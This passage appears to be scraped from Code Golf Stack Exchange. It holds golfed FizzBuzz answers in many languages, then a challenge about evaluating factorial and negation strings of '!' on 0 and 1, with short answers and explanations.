overlay](https://i.stack.imgur.com/0JuPe.png)](https://i.stack.imgur.com/0JuPe.png)\n[Answer]\n# [><>](https://esolangs.org/wiki/Fish), ~~68~~ ~~66~~ ~~65~~ ~~64~~ 63 bytes\n```\n1\\2+2fooo o\"Buzz\"<\no>:::3%:?!\\$5%:?!/*?n1+:aa*)?;a\no.!o\"Fizz\"/o\n```\nThe only trick is to multiply remainders as a condition to number printing. That way, if one of them is 0 we won't print the number.\nYou can try it [here](https://suppen.no/fishlanguage).\nSaved one byte thanks to Sp3000, another thanks to randomra, and a last one thanks to Jacklyn. Thanks a lot!\n[Answer]\n# Apple Shortcuts, 9 actions\n[![enter image description here](https://i.stack.imgur.com/hp11O.jpg)](https://i.stack.imgur.com/hp11O.jpg)\nThis creates a loop that runs 100 times. For each loop, it gets the iteration number and modulos it by 3. We then take the result and use regex replacement to change it to “Fizz” if it is 0. Then, we take the iteration number and use regex replacement to change it to “Buzz” if it ends in 0 or 5.\nAt this point, we have a value that is either “Fizz” or a number, and we have a value that is either “Buzz” or a number. We combine those two values together into a single string, and use regex replacement to remove any numbers. This leaves us with one of “Fizz”, “Buzz”, “FizzBuzz”, or an empty string. Finally, we use one more regex replacement to replace an empty string with the iteration number.\nThe final value left at the end of each iteration is added to the repeat results, so after the loop has finished running, we simply print the list of repeat results with a “show result” action, which automatically formats the list as a bunch of newline separated values.\nFor those who don’t want to/don’t know how to enter this code, [here’s an iOS link](https://www.icloud.com/shortcuts/20829a2475f449d582196a19ec87e51e) that should hopefully maybe possibly work.\n[Answer]\n# [gs2](https://github.com/nooodl/gs2/), 28 27 (without `f`)\nHex:\n```\n1b 2f fe cc 04 46 69 7a 7a 09 07 42 75 7a 7a 19 06 27 2d d8 62 32 ec 99 dc 61 0a\n```\nExplanation:\n```\n1b 100\n2f range1 (1..n)\nfe m: (map rest of program)\ncc put0 (pop and store in register 0)\n04 string-begin\nFizz\n09 9\n07 string-separator\nBuzz\n19 25\n06 string-end-array (result: [\"Fizz\"+chr(9) \"Buzz\"+chr(25)])\n27 right-uncons\n2d sqrt\nd8 tuck0 (insert value of register 0 under top of stack)\n62 divides\n32 times (string multiplication)\nec m5 (create block from previous 5 tokens, then call map)\n99 flatten\ndc show0 (convert register 0 to string and push it)\n61 logical-or\n0a newline\n```\nEmbedding 3 and 5 into the string constant doesn't work because `\\x05` ends string literals.\nNote: This problem can be solved in [1 byte](https://codegolf.stackexchange.com/a/58632/2537) with gs2 using the built-in `f`.\n[Answer]\n# C, 74 bytes\n```\nmain(i){for(;i<101;puts(i++%5?\"\":\"Buzz\"))printf(i%3?i%5?\"%d\":0:\"Fizz\",i);}\n```\nThe `0` argument to `printf` instead of `\"\"` is fishy, but seems to work on most platforms I try it on. `puts` segfaults when you try the same thing, though. Without it, you get 75 bytes.\nThere are 73-byte solutions that work on [anarchy golf](http://golf.shinh.org/p.rb?FizzBuzz#C), and I found one digging around in the right places on the internet, but they rely on platform-specific behavior. (As you might have guessed, it's something of the form `puts(\"Buzz\"±...)`.)\n[Answer]\n# Scratch, ~~203~~ 185 bytes\n[![](https://i.stack.imgur.com/zfaPv.png)](https://scratch.mit.edu/projects/85315030/#editor)\nBytes counted from the golfed [textual representation](http://scratchblocks.github.io/#when%20gf%20clicked%0Aset%5Bx%20v%5Dto%5B1%0Arepeat(100%0Aset%5By%20v%5Dto%5B%0Aif%3C((x)mod(3))%3D%5B0%0Aset%5By%20v%5Dto%5BFizz%0Aend%0Aif%3C((x)mod(5))%3D%5B0%0Aset%5By%20v%5Dto(join(y)%5BBuzz%0Aend%0Aif%3C(y)%3D%5B%0Asay(x%0Aelse%0Asay(y%0Aend%0Achange%5Bx%20v%5Dby(1%0Aend), per [this meta post](http://meta.codegolf.stackexchange.com/questions/673/golfing-from-scratch/5013#5013). Scratch is not very space-efficient.\n`say` is the closest thing to a stdout Scratch has: the sprite displays a speech bubble containing whatever it is saying. In practice, a `wait n secs` block would be needed to actually read this output, but for the purposes of this challenge this code fulfills the requirements.\n[Answer]\n# [Jelly](http://github.com/DennisMitchell/jelly), ~~24~~ 20 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page)\n```\n³µ3,5ḍTị“¡Ṭ4“Ụp»ȯµ€G\n```\n[Try it online!](http://jelly.tryitonline.net/#code=wrPCtTMsNeG4jVThu4vigJzCoeG5rDTigJzhu6RwwrvIr8K14oKsRw&input=)\n### How it works\n```\n³µ3,5ḍTị“¡Ṭ4“Ụp»ȯµ€G Main link. No input.\n³ Yield 100.\n µ Begin a new, monadic chain.\n µ€ Apply the preceding chain to all integers n in [1, ..., 100].\n 3,5ḍ Test n for divisibility by 3 and 5.\n T Get all truthy indices.\n This yields [1] (mult. of 3, not 5), [2] (mult. of 5, not 3),\n [1, 2] (mult. of 15) or [].\n “¡Ṭ4“Ụp» Yield ['Fizz', 'Buzz'] by indexing in a dictionary.\n ị Retrieve the strings at the corr. indices.\n ȯ Logical OR hook; replace an empty list with n.\n G Grid; join the list, separating by linefeeds.\n```\n[Answer]\n# C, 85 bytes\n```\ni;main(){for(;i++<=99;printf(\"%s%s%.d\\n\",i%3?\"\":\"Fizz\",i%5?\"\":\"Buzz\",(i%3&&i%5)*i));}\n```\n*-2 thanks to squeamish.*\n[Answer]\n# Haskell, ~~84~~ 82 bytes\n```\nmain=mapM putStrLn[show n`max`map(\"FizzBuzz\"!!)[6-2*gcd 3n..2+gcd 5n]|n<-[1..100]]\n```\nThe expressions work out like this:\n```\n n 6-2*gcd(3,n) 2+gcd(5,n)\n=============================\n 1 4 3 \n 2 4 3 \n 3 *0 3 \n 4 4 3 \n 5 4 *7 \n 6 *0 3 \n 7 4 3 \n 8 4 3 \n 9 *0 3 \n10 4 *7 \n11 4 3 \n12 *0 3 \n13 4 3 \n14 4 3 \n15 *0 *7 \n16 ... ...\n```\nWe use them as start and end points for slicing the string. For example, when `n == 5`, then `map(\"FizzBuzz\"!!)[4..7] == \"Buzz\"`.\nFor non-divisible numbers, the range `[4..3]` is empty, so the result of `map` is `\"\"`, and `max (show n)` replaces that result.\n## Old 84 byte answer\n```\nmain=mapM f[1..100]\nf n|d<-drop.(*4).mod n=putStrLn$max(show n)$d 3\"Fizz\"++d 5\"Buzz\"\n```\n`d = drop.(*4).mod n` is key here: `d 3 \"Fizz\"` is `drop (n`mod`3 * 4) \"Fizz\"`. This is `\"Fizz\"` when `n `mod` 3` is 0 and `\"\"` otherwise.\n## Other stuff\nI got here via this 85:\n```\nmain=mapM putStrLn[max(show n)$drop(6-2*gcd 3n)$take(3+gcd 5n)\"FizzBuzz\"|n<-[1..100]]\n```\nHere is another interesting 85:\n```\nf n=cycle[show n,\"Fizz\",\"Buzz\",f 3++f 5]!!div(gcd 15n)2\nmain=mapM(putStrLn.f)[1..100]\n```\nThe world record is 80 bytes by henkma.\n[Answer]\n# CJam, 35 bytes\n```\n100{)_[Z5]f%:!\"FizzBuzz\"4/.*s\\e|N}/\n```\nTry it online in the [CJam interpreter](http://cjam.aditsu.net/#code=100%7B)_%5BZ5%5Df%25%3A!%22FizzBuzz%224%2F.*s%5Ce%7CN%7D%2F).\n### How it works\n```\n100{)_[Z5]f%:!\"FizzBuzz\"4/.*s\\e|N}/\n100{ }/ For each integer I between 0 and 99:\n )_ Increment I and push a copy.\n [Z5] Push [3 5].\n f% Map % to push [(I+1)%3 (I+1)%5].\n :! Apply logical NOT to each remainder.\n \"FizzBuzz\"4/ Push [\"Fizz\" \"Buzz\"].\n .* Vectorized string repetition.\n s\\ Flatten the result and swap it with I+1.\n e| Logical OR; if `s' pushed an empty string,\n replace it with I+1.\n N Push a linefeed.\n```\n[Answer]\n# C#, 128 126 125 124 bytes\n```\nclass A{static void Main(){for(var i=0;i++<100;)System.Console.Write(\"{0:#}{1:;;Fizz}{2:;;Buzz}\\n\",i%3*i%5>0?i:0,i%3,i%5);}}\n```\n89 bytes without the boilerplate code around.\nDone with the use of C#'s [conditional formatting](https://msdn.microsoft.com/en-us/library/0c899ak8.aspx). \nWith two section separators `;`, Fizz or Buzz are printed if the value from their condition is zero.\n \nSaved a total of 4 bytes thanks to @RubberDuck, @Timwi and @Riokmij.\n[Answer]\n# MUMPS, ~~56~~ 54 bytes\n```\nf i=1:1:100 w:i#5=0 \"Fizz\" w:i#3=0 \"Buzz\" w:$X<3 i w !\n```\nWhat's this `w:$X<3 i` thing, you ask? `$X` is a magic variable (an \"intrinsic\") that stores the horizontal position of the output cursor (as a number of characters from the left edge of the terminal). `w` is the abbreviated form of the `WRITE` command. The syntax `command:condition args` is a postconditional - \"if `condition`, then do `command args`\". \nSo we're checking whether the output cursor has been advanced more than two characters (which would mean that at least one of `\"Fizz\"` or `\"Buzz\"` has been written to the terminal), and if not, writing `i` to the terminal. The `$X` variable - and hence, this sort of deep inseparability from the terminal - is a first-class feature of MUMPS. Yikes.\n[Answer]\n# PowerShell, ~~78~~ ~~68~~ ~~61~~ ~~54~~ 51 Bytes\n*(-1 byte thanks to a person on Twitter that explicitly started following me just to tag me in a Tweet with a golf, because they don't use SE. I was able to improve on that with a bit more of a golf. But since it requires the new [ternary operator](https://learn.microsoft.com/en-us/powershell/scripting/whats-new/what-s-new-in-powershell-70?view=powershell-7.2) in pwsh 7, I'm leaving the old versions present lower down.)*\n```\n1..100|%{($x=\"Fizz\"*!($_%3)+\"Buzz\"*!($_%5))?$x :$_}\n```\nLoops from `1` to `100`, each time constructing `$x` by exploiting implicit Boolean conversion. That is, if `$_%3` is `0`, it gets converted to `$true` with the `!`, then the `*` re-converts it to a `1` so that we add on `\"Fizz\"` to `$x`. We encapsulate that construction in parens, so we can re-use it as the introductory query to the ternary operator, choosing to either output `$x` or `$_`, depending on whether `$x` is present.\nNormally here is where I'd link it to ***Try It Online***, but that's still on pwsh Core 6.2.3, so doesn't have the ternary operator.\n---\n## Pre-pwsh 7\n```\n1..100|%{(($t=\"Fizz\"*!($_%3)+\"Buzz\"*!($_%5)),$_)[!$t]}\n```\nEdit: Saved 10 bytes thanks to [feersum](https://codegolf.stackexchange.com/a/58623/42963)\nEdit2: Realized that with feersum's trick, I no longer need to formulate $t as a string-of-code-blocks\nEdit3: Saved another 7 bytes thanks to [Danko Durbić](https://codegolf.stackexchange.com/users/1308/danko-durbi%c4%87)\nSimilar-ish in spirit to the stock Rosetta Code [answer](http://rosettacode.org/wiki/FizzBuzz#Concatenation_2), but golfed down quite a bit.\n### Explanation\n`1..100|%{...}` Create a collection of 1 through 100, then for-each object in that collection, do\n`(...,$_)` create a new collection of two elements:\n0) `$t=...` set the variable `$t` equal to a string;\n1. `$_` our-current-number of the loop\n`\"Fizz\"*!($_%3)` take our-current-number, mod it by 3, then NOT the result. Multiply \"Fizz\" by that, and add it to the string (and similar for 5). PowerShell treats any non-zero number as `$TRUE`, and thus the NOT of a non-zero number is 0, meaning that only if our-current-number is a multiple of 3 will \"Fizz\" get added to the string.\n`[!$t]` indexes into the collection we just created, based on the value of the string `$t` -- non-empty, print it, else print our-current-number\n---\n### Alternatively, also 54 bytes\n```\n1..100|%{'Fizz'*!($_%3)+'Buzz'*!($_%5)-replace'^$',$_}\n```\nThanks to [TesselatingHeckler](https://codegolf.stackexchange.com/users/571/tessellatingheckler)\nSimilar in concept, this uses the inline `-replace` operator and a regular expression to swap out an empty string `^$` with our-current-number. If the string is non-empty, it doesn't get swapped.\n---\n### Alternatively, also 54 bytes\n```\n1..100|%{($_,('Fizz'*!($_%3)+'Buzz'*!($_%5))|sort)[1]}\n```\nThis is the same loop structure as above, but inside it sorts the pair (n, string), and relies on the fact that an empty string sorts before a number, but a FizzBuzz string sorts after a number. Then it indexes the second sort result.\n[Answer]\n# Clojure, 113 106 101 100 91 bytes\nMy first golf!\n```\n(dotimes[i 100](println(str({2'Fizz}(mod i 3))({4'Buzz}(mod i 5)({2\"\"}(mod i 3)(inc i))))))\n```\nUngolfed:\n```\n(dotimes [i 100] ; account for off-by-one later\n (println (str ({2 'Fizz} ; str converts symbols to strings\n (mod i 3))\n ({4 'Buzz} ; 4 instead of 0 because of off-by-one\n (mod i 5)\n ({2 \"\"} ; shortest way to write when-not\n (mod i 3)\n (inc i))))))\n```\n[Answer]\n## [Hexagony](https://github.com/mbuettner/hexagony), 112 bytes\n```\nd{$>){*./;\\.}<._.zi...><{}.;/;$@-/=.*F;>8M'<$<..'_}....>.3'%<}'>}))'%<..._>_.'<$.....};u..}....{B.;..;.!<'..>z;/\n```\nAfter unfolding and with colour-coded execution paths:\n[![enter image description here](https://i.stack.imgur.com/KIDof.png)](https://i.stack.imgur.com/KIDof.png) \nDiagram created with Timwi's [HexagonyColorer](https://github.com/Timwi/HexagonyColorer).\nFinally got around to finishing this. I had written an ungolfed solution weeks ago, but wasn't entirely happy with it so I never actually golfed it. After revisiting it the other day, I found a way to simplify the ungolfed solution slightly, and while I think there might still be a better way to approach the problem in general, I decided to golf it this time. The current solution is far from optimal, and I think it should actually fit in side-length 6 instead of 7. I'll give this a go over the next days, and when I'm happy with the result will add a full explanation.\n[Answer]\n# [brainfuck](https://github.com/TryItOnline/brainfuck), ~~411 350 277~~ 258 bytes\nEdits:\n* -61 bytes by storing the values of \"Fizz Buzz\" as ~~\"BuziF\"~~ \"BuziG\" and redoing the number printing section.\n* -71 bytes by redoing the modulo number printing section, splitting the loop counter and the number counter, and reusing the newline cell as the mod value, among other things\n* -19 bytes by realising that there aren't any 0s in any FizzBuzz numbers. Also added explanation\n`+[-[>+<<]>-]>--[>+>++>++>++++++>+>>>++++++[<<<]>-]<+++++[>+>+>->>->++>>>-->>>++[<<<]>>>-]>[>]+++>>[>+<<<-[<]<[>+++>+<<-.+<.<..[<]<]>>-[<<]>[.>.>..>>>>+[<]+++++<]>[>]>>[[->+>-[>+>>]>[+[-<+>]>+>>]<<<<<<]>[-<+>]>,>[>]<[>-[<+>-----]<---.,<]++++++++++>]<.<<<<,>-]`\n[Try it online!](https://tio.run/##LU9RCkMhDDuQticIuUjxYxsMxmAfg53fJfXVok0bE71/b6/P8/d47z0qigNYDKVrjisdgrzKwmHhIBMZVA5zIpp4SLRYcVmALY8oLBRbUigHEpluiq6hjkpqJS2kQdugdSRSYTu7CpZejaHCCB1qntb0BTlJUxccC9pyXornW0v2iqmH7v0H \"brainfuck – Try It Online\")\nInstead of checking if the number itself was divisible by 5 or 3 I had two counters keeping track of the modulo of the number, decrementing them for each number and printing out the corresponding word when they reached 0.\n### How It Works:\n```\n+[-[>+<<]>-]>-- Generate the number 61\n[>+>++>++>++++++>+>>>++++++[<<<]>-] Set the tape to multiples of 61\nTAPE: 0 0' 61 122 122 110 61 0 0 110\n \"=\" \"z\" \"z\" \"n\" \"=\"\n<+++++[>+>+>->>->++>>>-->>>++[<<<]>>>-]>[>]+++>> Modify values by multiples of 5\nTAPE: 0' 5 66 117 122 105 71 3 0 100' 0 0 10\n \"B\" \"u\" \"z\" \"i\" \"G\"\nSome info:\n 5 - Buzz counter\n \"Buz\" - Buzz printing\n \"ziG\" - Fizz printing. Modifying the G in the loop is shorter than modifying it outside\n 3 - Fizz counter\n 0 - This is where the Fizz|Buzz check will be located\n 100 - Loop counter\n 0 - Number counter. It's not worth it to reuse the loop counter as this.\n 0 - Sometimes a zero is just a zero\n 10 - Value as a newline and to mod the number by\n \n[ Loop 100 times\n >+<<< Increment number counter\n -[<]< Decrement Fizz counter\n [ If Fizz counter is 0\n >+++ Reset the Fizz counter to 3\n >+<< Set the Fizz|Buzz check to true\n -.+<.<.. Print \"Fizz\"\n [<]<] Sync pointers\n >>-[<<]> Decrement Buzz counter\n [ If Buzz counter is 0\n .>.>.. Print \"Buzz\"\n >>>>+ Set the Fizz|Buzz check to true\n [<]+++++< Reset the Buzz counter to 5\n ]\n >[>]>> Go to Fizz|Buzz check\n [ If there was no Fizz or Buzz for this number\n TAPE: 3% BuziG 5% 0 Loop Num' 0 10\n [->+>-[>+>>]>[+[-<+>]>+>>]<<<<<<] Mod the number counter by 10\n TAPE: 3% BuziG 5% 0 Loop 0' Num 10-Num%10 Num%10 Num/10\n >[-<+>] Move Num back in place\n >,>[>]< Reset 10-Num%10\n [ For both Num/10 (if it exists) and Num%10\n >-[<+>-----]<--- Add 48 to the number to turn it into the ASCII equivilent\n .,< Print and remove\n ]\n ++++++++++> Add the 10 back\n ]\n <. Print the newline\n <<<<, Remove Fizz|Buzz check\n >- Decrement Loop counter\n]\n```\n]"}}},{"rowIdx":36,"cells":{"text":{"kind":"string","value":"[Question]\n [\nIn mathematics an exclamation mark `!` often means [factorial](https://en.wikipedia.org/wiki/Factorial) and it comes after the argument.\nIn programming an exclamation mark `!` often means [negation](https://en.wikipedia.org/wiki/Negation#Programming) and it comes before the argument.\nFor this challenge we'll only apply these operations to zero and one.\n```\nFactorial\n0! = 1\n1! = 1\nNegation\n!0 = 1\n!1 = 0\n```\nTake a string of zero or more `!`'s, followed by `0` or `1`, followed by zero or more `!`'s ([`/!*[01]!*/`](https://regex101.com/r/0lEuae/1)). \nFor example, the input may be `!!!0!!!!` or `!!!1` or `!0!!` or `0!` or `1`.\nThe `!`'s before the `0` or `1` are negations and the `!`'s after are factorials.\nFactorial has higher precedence than negation so factorials are always applied first. \nFor example, `!!!0!!!!` truly means `!!!(0!!!!)`, or better yet `!(!(!((((0!)!)!)!)))`.\nOutput the resultant application of all the factorials and negations. The output will always be `0` or `1`.\n### Test Cases\n```\n0 -> 0\n1 -> 1\n0! -> 1\n1! -> 1\n!0 -> 1\n!1 -> 0\n!0! -> 0\n!1! -> 0\n0!! -> 1\n1!! -> 1\n!!0 -> 0\n!!1 -> 1\n!0!! -> 0\n!!!1 -> 0\n!!!0!!!! -> 0\n!!!1!!!! -> 0\n```\nThe shortest code in bytes wins.\n \n[Answer]\n## Mathematica, ~~25~~ 17 bytes\n```\nInput[]/.!x_:>1-x\n```\nTakes input from a user prompt. Assumes Mathematica's [notebook environment](http://meta.codegolf.stackexchange.com/a/7844/8478) for implicit printing. To make it a command-line script, wrap it in `Print[...]` or to make it an argumentless function (which then takes input from the prompt), append `&`.\nMathematica has both of the required operators (with the required precedence), so we can just \"eval\" the input (which is done automatically by `Input[]`), but the logical negation operator doesn't work on integers (so it will remain unevaluated). If there's a `!x` left in the result, we replace it with `1-x`.\nA couple of fun facts about the evaluation:\n1. Mathematica actually *also* has the double factorial operator `!!`, which computes `n*(n-2)*(n-4)*...`, but applied to `0` or `1` it still gives `1`, so it doesn't matter that `0!!!!!` will actually be parsed as `((0!!)!!)!`.\n2. Even though Mathematica leaves `!0` and `!1` unevaluated, it does know that `!` is self-inverse, so it will automatically cancel all pairs of leading `!`. After the `ToExpression` we're *always* left with one of `0`, `1`, `!0`, `!1`.\n[Answer]\n# [Bash](https://www.gnu.org/software/bash/) + Unix utilities, ~~21~~ 17 bytes\n```\nsed s/.!!*$/1/|bc\n```\n[Verify the test cases online!](https://tio.run/##TY6xCoMwGIT3PMUlWIQWTDIW1K1d@wwatTpoJLGQwXdPTdKWLsfd99/B3zZ29KrZUK9GP00zoyzZ7XFn3vYdLC8oPWdc8r1V/sCEqHHWHV4Xh4J/JmTQBg7TAgGJXNAcuQxCRRAZXcyRCpoKkaTKt5NQSjTkH4mWAJ0@BFjNtGwD2OlqUdVgAMsci6dejRqZw/73YNgtvX8D \"Bash – Try It Online\")\n*Added a TIO link to the test suite.*\nThis must be saved in a file and run as a program. If you try to enter the command directly from the command line, it won't work because !! is expanded due to history substitution being enabled in bash's interactive mode. (Alternatively, you can turn history substitution off with `set +H`.)\n[Answer]\n## [Retina](https://github.com/m-ender/retina), ~~20~~ ~~15~~ 14 bytes\n*Thanks to Leo for saving 1 byte.*\n```\n0!\n1\n!!\n^1|!0\n```\n[Try it online!](https://tio.run/nexus/retina#LYm5DYBAEANzdzEBEqGvCro4UQi9L7Ygm@c4r3uMlkDa68EzjrYhLLIixExjuPnrlRLl3wov \"Retina – TIO Nexus\")\n### Explanation\n```\n0!\n1\n```\nTurn `0!` into `1`. We don't care about any other trailing `!`s, the resulting number is the same as if we had applied all factorials.\n```\n!!\n```\nCancel pairs of negations. This may also cancel some factorials, but that's irrelevant.\n```\n^1|!0\n```\nCount the number of matches of this regex, which is either `1` or `0` and gives the desired result.\n[Answer]\n## [Grime](https://github.com/iatorm/grime), ~~14 12~~ 9 bytes\n```\ne`\\0!~\\!_\n```\n[Try it online!](https://tio.run/nexus/grime#@5@aEGOgWBejGP//vyIQGCgCAA)\n## Explanation\nThis matches the input against a pattern, printing `1` for match and `0` for no match.\n```\ne`\\0!~\\!_\ne` Match entire input against this pattern:\n ! not\n \\0 a sole 0\n ~ xor\n \\! exclamation mark\n _ followed by this pattern matched recursively.\n```\nThe idea is this.\nIf the input begins with a digit, then the recursive part `\\!_` always fails, and `\\0!` succeeds unless we have a single `0`.\nTheir xor succeeds unless the input is a single `0`.\nIf the input begins with a `!`, then `\\0!` always succeeds, and `\\!_` succeeds if the recursive match succeeds.\nTheir xor succeeds exactly when the recursive match fails, thus negating it.\n[Answer]\n# Brainfuck, ~~85~~ 72 (84) bytes\n```\n,[>-[-----<->]<++[>++++[-<++++>]+<[[+],[[-]>-<]]]>[<<+[-->]>[<],>-]<]<+.\n```\nto return numerically, or\n```\n,[>-[-----<->]<++[>++++[-<++++>]+<[[+],[[-]>-<]]]>[<<+[-->]>[<],>-]<]-[-----<+>]<--.\n```\nfor ASCII text. > may also be prefixed to avoid memory wrapping.\n[Try it online!](https://tio.run/nexus/brainfuck#NYzRCcBADEJnyXfO0gHERcT9x0hzHxVEwYdzLBhXhMJuq1cGbyhNu3NsRGASmdx54W05Qpj/YXkCz0xVveuaDw \"brainfuck – TIO Nexus\")\n---\n```\nLoops over the input.\nOn 1, ends.\nOn \"!\", toggles bool a stored as 0 or 255.\nOn \"0\", toggles if there is no trailing bit, then ends.\nMemory labels | BOOL | INPUT | FLAG |\n, first input \n[ # loop on INPUT\n >-[-----<->]<++ subtract 49 == \"1\"\n [ # case not \"1\"\n >++++[-<++++>] add 16 since 49 take 16 == \"!\"\n + set FLAG\n < move to INPUT\n [ # case \"0\"\n [+], clear and new INPUT\n [ # case \"0!\"\n [-]>-< clear INPUT and FLAG\n ]\n ]\n ]\n > move to FLAG\n [ # case \"!\" or \"0\" without tail\n <<+[-->]>[<] not the BOOL\n , take new input\n >- clear FLAG\n ]\n < move to INPUT\n]\n+. return 0 or 1\n```\nOr for text response, replace the last line with \n```\n-[-----<+>]<--. add 49 for \"0\" or \"1\" conversion and return\n```\n[Answer]\n# Brainfuck - way to many bytes (232 bytes)\nClearly the wrong language for winning in code golf. Mainly I noticed a lack of anyone using this esolang. There is a good online interpreter [bf interpeter](https://sange.fi/esoteric/brainfuck/impl/interp/i.html) or you can actually watch what the program does using this [bf visualizer](https://fatiherikli.github.io/brainfuck-visualizer/#).\n```\n>>>>>,[>+++[<---------------->-]<<<<<<[-]+>[-]>>>>[-[<<[>+<<<<->>>[<<+>>-] ]<<[>>+<<-]<[>>+<<[-]]>>>>>[-]]<<<<<[>>>++<<<-]>+>>>>[-]]<<<<-[>>+<<[-]]>>>>,]<<->[<[-]+>[-]]<<[<[-]>>[<<+>>[-]]+<<[->>-<<]>-]>>[-]+++[<++++++++++++++++>-]<.\n```\n[Answer]\n# Python, ~~-44-~~ 42 bytes\nSaved 2 bytes thanks to Zgarb!\n```\nlambda x:(x[-1]=='0')^len(x.rstrip('!'))%2\n```\nStep by step:\n1. `x[-1]!='0'` \nif `x` ends with `1` or `!` ⇔ `x` doesn't end with `0`, the factorial portion must have value `1`, else `0`\n2. `^len(x.rstrip('!'))%2` \nexploit xor's property as a \"conditional not\". The condition in this case is if the length of initial `!`s is odd. However, `.rstrip` doesn't remove the number from the string so the length calculated is offset by 1, therefore the condition is inverted\n3. The offset by 1 in step 2 is corrected by changing `!=` to `==` in step 1. Zgarb suggested using a difference comparison operator rather than applying another inversion, saving 2 bytes.\n[Try it online!](https://tio.run/nexus/python3#LYxBCsMgEEX3c4oxUBwJKdplqCcJLaSkgjAxQV3Y06fadBbDe2/xnaWD5/W1zFhGKtNgHtZKLdWT34HKNaYc/U5SSKUut0OBi9uK6ZPQr/sWM6a8@ABui8jow6kjYD22PI117yd79CFTHSNHrFTf4X3Armd1aDCgBRgBQoMw9VeqpkWLlVs@e5NGovHfGnwB \"Python 3 – TIO Nexus\")\n[Answer]\n## JavaScript (ES6), ~~43~~ ~~41~~ 29 bytes\n```\ns=>+eval(s.replace(/.!+$/,1))\n```\n### Non-regex method (~~41~~ 31 bytes)\nBelow is my initial approach. It's slightly more interesting, but ~~significantly longer~~ *still a bit longer even after a significant optimization by Neil (10 bytes saved)*.\n```\nf=([c,...s])=>1/c?c|s>'':1-f(s)\n```\n### Test cases\n```\nlet f =\ns=>+eval(s.replace(/.!+$/,1))\n;[\n \"0\", \"1\", \"0!\", \"1!\", \"!0\", \"!1\", \"!0!\", \"!1!\", \"0!!\",\n \"1!!\", \"!!0\", \"!!1\", \"!0!!\", \"!!!1\", \"!!!0!!!!\", \"!!!1!!!!\"\n].map(\n s => console.log(s, '=>', f(s))\n)\n```\n[Answer]\n# [Retina](https://github.com/m-ender/retina), 13 bytes\nA somewhat weird approach, but it's short and it works.\n```\n0$\n!1\n!!\n^\\d\n```\nWith the first two lines we replace an ending `0` with `!1`: with this replacement we now know that the part of our string from the digit onwards is equal to 1.\nNext two lines, remove pairs of `!`: double negation erases itself, and we already accounted for factorial with the previous step.\nLast line, match a digit at the start of the string and return the number of matches: if the negations have all been eliminated we'll find a match (and as we said before we know this is equal to 1), if there's still a negation this won't match.\n[Try it online!](https://tio.run/nexus/retina#U9VwT/hvoMKlaMilqMjFFReT8v@/AZchl4Eil6Eil6IBWALIUQTyDBRBgkA2SBgiDuKAtYLYUB6IAQA \"Retina – TIO Nexus\")\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), 5 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page)\n```\nVeMḂ$\n```\n**[Try it online!](https://tio.run/nexus/jelly#@x@W6vtwR5PK/6N7Drc/alrzqHG7tXvk///RSgZKOkqGQGygCGKACEWQkKIhmAXmg0UNFCEKwCIQJTA1ECEITxHEh4uAmbEA)**\nMonadic function expecting a string. Inputs with leading `!`s cause a `1` to be printed to STDOUT along the way, so the TIO link I give is a test harness that prints the input-output pairs beneath the first line of output.\n### How?\n```\nVeMḂ$ - Monadic link: string\nV - eval the string\n - the implicit input of 0 causes !...! to evaluate to 1 (which gets printed),\n - the result is the evaluation of the rest: \"0\"=0; \"0!\"=1; \"1\"=1; \"1!\"=1; ...\n e - exists in?\n $ - last two links as a monad:\n M - Maximal indexes - the \"0\" and \"1\" characters are greater than \"!\",\n - so this results in a list of one item [i] where\n - i is the 1-based index of the 0 or 1 character.\n Ḃ - %2 (vectorises) - [i%2], so a 0 if we need to logically negate and a 1 if not\n - hence we check equality with e rather than inequality.\n```\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E), 9 bytes\nCode:\n```\n.V¹'!ÜgG_\n```\nUses the **CP-1252** encoding. [Try it online!](https://tio.run/nexus/05ab1e#@68XdminuuLhOenu8f//KxooKgIA \"05AB1E – TIO Nexus\") or [Verify all test cases!](https://tio.run/nexus/05ab1e#qymr/K8XVqmueHhOunv8/9pKJQVdOwWlQ6uLD63W@W/AZchloMhlqMilaMClaAgkgSwgz0ARJAhkg4Qh4iAOiKUIYkN5IAYA)\nExplanation:\n```\n.V # Evaluate the input as 05AB1E code. This computes the factorial part.\n '!Ü # Remove trailing exclamation marks..\n ¹ # ..from the first input\n g # Get the length of the resulting string\n G # Do the following length - 1 times:\n _ # Negate the number\n```\n[Answer]\n# Ruby, 12+1 = ~~39~~ ~~24~~ ~~15~~ 13 bytes\nUses the `-n` flag. Thanks to [@GB](https://codegolf.stackexchange.com/users/18535/g-b) for -9 bytes!\n```\np~/!*$|0$/%2\n```\n[Answer]\n# [Perl](https://www.perl.org/), 20 bytes\n19 bytes of code + `-p` flag.\n```\ns/\\d!+/1/;$_=0+eval\n```\n[Try it online!](https://tio.run/nexus/perl#U1YsSC3KUdAt@F@sH5OiqK1vqG@tEm9roJ1alpjz/78BlyGXgSKXoSKXogGXoiGQBLKAPANFkCCQDRKGiIM4IJYiiA3lgRgA \"Perl – TIO Nexus\")\nPerl's negation returns `undef` or `1`, so I use `0+` to numerify the result `0+undef` returns `0`. Besides that, not much to say about the code.\n[Answer]\n# C, 68 62 61 53 bytes\n```\nc;e(char*a){for(c=1;*a<34;a++)c^=1;c=a[1]?c:*a&1^!c;}\n```\nSqueezed out a few more bytes with some abuse\n[Try it online!](https://tio.run/nexus/c-gcc#fY7NDsIgEITvPsXSRgNYTYmexNYH8SchQFMSoabVgxqfvRa9mOjKiZmd/XZSF/TxYiysu7NxzbwuR6mxlQsWDPUM4ju1Lpwrmow7mJUwNruQZOAzsEOA9VpaqmvVcsXuVdNSXQjJ1XqxlGo6ZfowSF2ordhv9IqriTgQLR/9QASvXKDxc8vgReBXBvdRPBklcPDypTwUkOTJW8RaH7b4becEiSM@QfBEYHkMhF3ICVoJQ6Gl/rRCWegOiVv/9r6mj/4J \"C (gcc) – TIO Nexus\")\n[Answer]\n# [Perl 6](http://perl6.org/), ~~32~~ ~~28~~ 23 bytes\n```\n{m/(\\!)*(1|0.)*/.sum%2}\n```\n### How it works\n```\n{ } # A lambda.\n{m/ / } # Match the lambda argument against the regex:\n (\\!)* # Zero or more `!`.\n # (First capture will be an array with one element per negation).\n (1|0.)* # A `1`, or a `0` and another character, zero or more times.\n # (Second capture will be a one-element array if the factorial\n # part evaluates to 1, and an empty array otherwise.)\n .sum # Add the lengths of the two captures,\n %2 # and return that sum modulo 2.\n```\n[Answer]\n## 